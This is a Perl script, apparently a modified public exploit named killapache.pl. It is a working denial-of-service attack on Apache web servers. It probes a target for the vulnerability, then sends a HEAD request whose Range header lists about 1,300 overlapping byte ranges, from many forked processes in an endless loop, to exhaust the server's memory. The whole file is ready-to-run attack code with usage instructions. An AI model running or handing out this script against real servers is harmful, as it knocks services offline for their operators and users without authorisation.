killapache.pl (modified)

#!/usr/bin/perl

use IO::Socket;
use Parallel::ForkManager;

sub usage {
    print "Apache Remote Denial of Service (memory exhaustion)\n";
    print "by Kingcope, modified by Christian Horvat\n";
    print "usage: perl killapache.pl <host[/dir]> [numforks]\n";
    print "example: perl killapache.pl www.example.com/foo/bar.php 100\n";
}

sub killapache {

    print "### ATTACKING $ARGV[0] [using $numforks forks]\n";

    $pm = new Parallel::ForkManager($numforks);

    $|=1;
    srand(time());
    $p = "";
    for ($k=0;$k<1300;$k++) {
        $p .= ",5-$k";
    }

    for ($k=0;$k<$numforks;$k++) {
    my $pid = $pm->start and next;

    $x = "";

    # directories/files are now possible
    my ($host,$dir)=split(/\//,$ARGV[0]);
    my $sock = IO::Socket::INET->new(PeerAddr => $host,
                                     PeerPort => "80",
                                     Proto    => 'tcp');

    $p = "HEAD /$dir HTTP/1.1\r\nHost: $host\r\nRange:bytes=0-$p\r\nAccept-Encoding: gzip\r\nConnection: close\r\n\r\n";
    print $sock $p;

    while(<$sock>) {
    }
     $pm->finish;
    }
    $pm->wait_all_children;
    print ":pPpPpppPpPPppPpppPp (pistol gun sounds)\n";
}




sub testapache {

    my ($host,$dir)=split(/\//,$ARGV[0]);
    my $sock = IO::Socket::INET->new(PeerAddr => $host,
                                     PeerPort => "80",
                                     Proto    => 'tcp');

    $p = "HEAD /$dir HTTP/1.1\r\nHost: $host\r\nRange:bytes=0-100\r\nAccept-Encoding: gzip\r\nConnection: close\r\n\r\n";

    print "\r\n### Request ###\r\n".$p."\r\n";

    print $sock $p;

    $x = <$sock>;

    print "### returned Status Code -> ".$x."\r\n";


    if ($x =~ /Partial/) {
        print "### Host seems vulnable! -> ".$ARGV[0]."\n\n";
        return 1;
    } else {
        return 0;
    }
}



if ($#ARGV < 0) {
    usage;
    exit;
}

# fixed bug, was:
# if ($#ARGV > 1) {

if ($#ARGV > 0) {
    $numforks = $ARGV[1];
} else {$numforks = 100;}



$v = testapache();
if ($v == 0) {
    print "### Host does not seem vulnerable. Or Redirect. Or File not found. Or Bad Request.\n### Exit.\n";
    exit;
}



while(1) {
killapache();
}